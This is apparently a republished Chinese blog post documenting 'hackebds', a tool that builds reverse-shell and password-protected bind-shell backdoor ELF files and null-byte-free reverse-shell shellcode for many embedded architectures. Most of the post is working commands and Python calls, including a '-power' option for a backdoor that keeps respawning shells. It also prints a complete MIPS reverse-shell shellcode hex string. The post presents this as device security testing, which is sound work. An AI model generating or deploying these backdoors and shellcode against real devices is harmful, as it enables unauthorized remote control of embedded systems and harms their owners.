各种架构ELF后门生成工具
2023-1-19 07:46:31 Author: xz.aliyun.com(查看原文) 阅读量:46 收藏

功能

该工具嵌入到设备的安全测试中。主要有如下功能:

  1. 生成各种架构的后门程序。后门程序是用反向shell汇编代码打包的,大小很小,且纯静态封,装现在支持Armv5、Armv7、Armv8、mipsel和mips,mips64,mips64el,powerpc仍在更新中,powerpc64,sparc,riscv64,sparc64,(反向shell在0.3.2版本后加入bash的支持),反向shell后门如果加入-power参数生成,那么会在目标机器上不断产生反向shell
  2. 在攻击过程中生成各种架构的反向shell代码,且无空字节,这有助于攻击嵌入式设备上的内存损坏漏洞现在支持Armv5、Armv7、Armv8、mipsel和mips,mipsel64,aarch64,sparc,仍在更新中
  3. 生成各种架构的bind_shell文件。
  4. 支持命令行生成后门和外壳代码,特点是轻便、小巧、高效、快速

github

安装

安装模块 (如果命令行安装失败请使用sudo pip安装模块)

pip install -U hackebds

如果想在macos下使用此工具不需要使用sudo,但由于MAC的SIP保护,需要将安装python版本的bin目录写入到bashrc(或者其他shell)环境变量下,然后source ~/.bashrc

echo 'export PATH="/Users/{you id}/Library/Python/{your installed python}/bin:$PATH"'>> ~/.bashrc

安装问题

出现python如下图问题请安装对应的binutils环境,在github的readme中有mac的下载方法,debian使用apt安装即可

出现如下的错误

请使用如下命令解决

ubuntu(debian)
    apt search binutils | grep arm(这里的arm可以更换需要的对应架构如果搜索不到可以先执行apt update)
    apt install binutils-arm-linux-gnueabi/hirsute
 MacOS:
     https://github.com/Gallopsled/pwntools-binutils
     brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

怎么使用

这里的ip地址与端口都是shell弹回的地址与port,导入此模块后pwn模块也会直接导入,无需再次导入

1. 生成对应各种架构的后门程序,纯shellcode封装(无需编译器的加入)

32为程序bind_shell中密码最多4个字符,64位程序最多8个字符
使用命令行生成后门文件名、shellcode、binshell,cmd_file等

hackebds -reverse_ip 127.0.0.1 -reverse_port 8081 -arch armelv7 -res reverse_shellcode

hackebds -reverse_ip 127.0.0.1 -reverse_port 8081 -arch armelv7 -res reverse_shell_file

​ 默认创建反向shell后门是使用的sh,如果需要bash(PS:这里需要目标设备上存在bash命令,-shell sh可以切换成sh的shell)

hackebds -reverse_ip 127.0.0.1 -reverse_port 8081 -arch armelv7 -res reverse_shell_file -shell bash

​ 如果需要生成后门不断地创建反向shell(测试占用CPU大概是%8左右)

hackebds -reverse_ip 127.0.0.1 -reverse_port 8081 -arch armelv7 -res reverse_shell_file -shell bash -power

hackebds -bind_port 8081 -arch armelv7 -res bind_shell -passwd 1231

​ 创建bind_shell监听shell为sh

生成执行指定命令的程序文件,需要注意的由于执行的是execve系统调用需要指定执行文件的完整路径才能正常执行

​ 生成cmd_file功能被更新,只需要指定-cmd参数即可生成各种架构执行对应命令的程序.

hackebds  -cmd "ls -al /" -arch powerpc  -res cmd_file

​ 如果需要指定执行对应的程序可以使用 -shell execute_file_path -cmd agrs

-shell execute_file_path -cmd agrs

在指定型号生成后门的功能中加入了输出型号与架构对应的列表关系,方便观察修改

hackebds -l

>>> from hackebds import *
>>> mipsel_backdoor(reverse_ip,reverse_port)
>>> mips_backdoor(reverse_ip,reverse_port)
>>> aarch64_backdoor(reverse_ip,reverse_port)
>>> armelv5_backdoor(reverse_ip,reverse_port)
>>> armelv7_backdoor(reverse_ip,reverse_port)
>>> armebv5_backdoor(reverse_ip,reverse_port)
>>> armebv7_backdoor(reverse_ip,reverse_port)
>>> mips64_backdoor(reverse_ip,reverse_port)
>>> mips64el_backdoor(reverse_ip,reverse_port)
>>> x86el_backdoor(reverse_ip,reverse_port)
>>> x64el_backdoor(reverse_ip, reverse_port)
>>> sparc_backdoor(reverse_ip, reverse_port)#big endian
>>> powerpc_backdoor(reverse_ip, reverse_port)
>>> powerpcle_backdoor(reverse_ip, reverse_port)
>>> powerpc64_backdoor(reverse_ip, reverse_port)
>>> powerpc64le_backdoor(reverse_ip, reverse_port)
>>> x86_bind_shell(listen_port, passwd)
>>> x64_bind_shell(listen_port, passwd)
>>> armelv7_bind_shell(listen_port, passwd)
>>> aarch64_ bind_ shell(listen_port, passwd)
>>> mips_bind_shell(listen_port, passwd)
>>> mipsel_bind_shell(listen_port, passwd)
>>> sparc_bind_shell(listen_port, passwd)
>>> powerpc_bind_shell(listen_port, passwd)

列如:

>>> mipsel_backdoor("127.0.0.1",5566)
mipsel_backdoor is ok in current path ./
>>>

>>> from hackebds import *
>>> x64_bind_shell(13000,"1235")
[+] bind port is set to 13000
[+] passwd is set to '1235'
[*] waiting 3s
[+] x64_bind_shell is ok in current path ./

2. 生成对应各种架构的利用回连shellcode(no free无空字节

>>> from hackebds import *
>>> mipsel_reverse_sl(reverse_ip,reverse_port)
>>> mips_reverse_sl(reverse_ip,reverse_port)
>>> aarch64_reverse_sl(reverse_ip,reverse_port)
>>> armelv5_reverse_sl(reverse_ip,reverse_port)
>>> armelv7_reverse_sl(reverse_ip,reverse_port)
>>> armebv5_reverse_sl(reverse_ip,reverse_port)
>>> armebv7_backdoor(reverse_ip,reverse_port)
>>> mips64_reverse_sl(reverse_ip,reverse_port)
>>> mips64el_reverse_sl(reverse_ip,reverse_port)
>>> android_aarch64_backdoor(reverse_ip,reverse_port)
>>> x86el_reverse_sl(reverse_ip,reverse_port)
>>> x64el_reverse_sl(reverse_ip,reverse_port)
>>> ppc_reverse_sl(reverse_ip,reverse_port)
>>> ppcle_reverse_sl(reverse_ip,reverse_port)
>>> ppc64_reverse_sl(reverse_ip,reverse_port)
>>> ppc64le_reverse_sl(reverse_ip,reverse_port)

列如:

>>> from hackebds import *
>>> shellcode=mipsel_reverse_sl("127.0.0.1",5566)
[+] No NULL byte shellcode for hex(len is 264):
\xfd\xff\x19\x24\x27\x20\x20\x03\xff\xff\x06\x28\x57\x10\x02\x34\xfc\xff\xa4\xaf\xfc\xff\xa5\x8f\x0c\x01\x01\x01\xfc\xff\xa2\xaf\xfc\xff\xb0\x8f\xea\x41\x19\x3c\xfd\xff\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xff\xfe\x19\x3c\x80\xff\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\xfc\xff\xb0\xaf\xfc\xff\xa4\x8f\x20\x28\xa0\x03\xef\xff\x19\x24\x27\x30\x20\x03\x4a\x10\x02\x34\x0c\x01\x01\x01\xf7\xff\x85\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfe\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfd\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01

chips and architectures

Tests can leverage chips and architectures

Mips:
MIPS 74kc V4.12 big endian,
MIPS 24kc V5.0 little endian, (Ralink SoC)
Ingenic Xburst V0.0 FPU V0.0 little endian

Armv7:
Allwinner(全志)V3s

Armv8:
Qualcomm Snapdragon 660
BCM2711

Powerpc, sparc: qemu

:beer: 享受hacking


文章来源: https://xz.aliyun.com/t/12054
如有侵权请联系:admin#unsafe.sh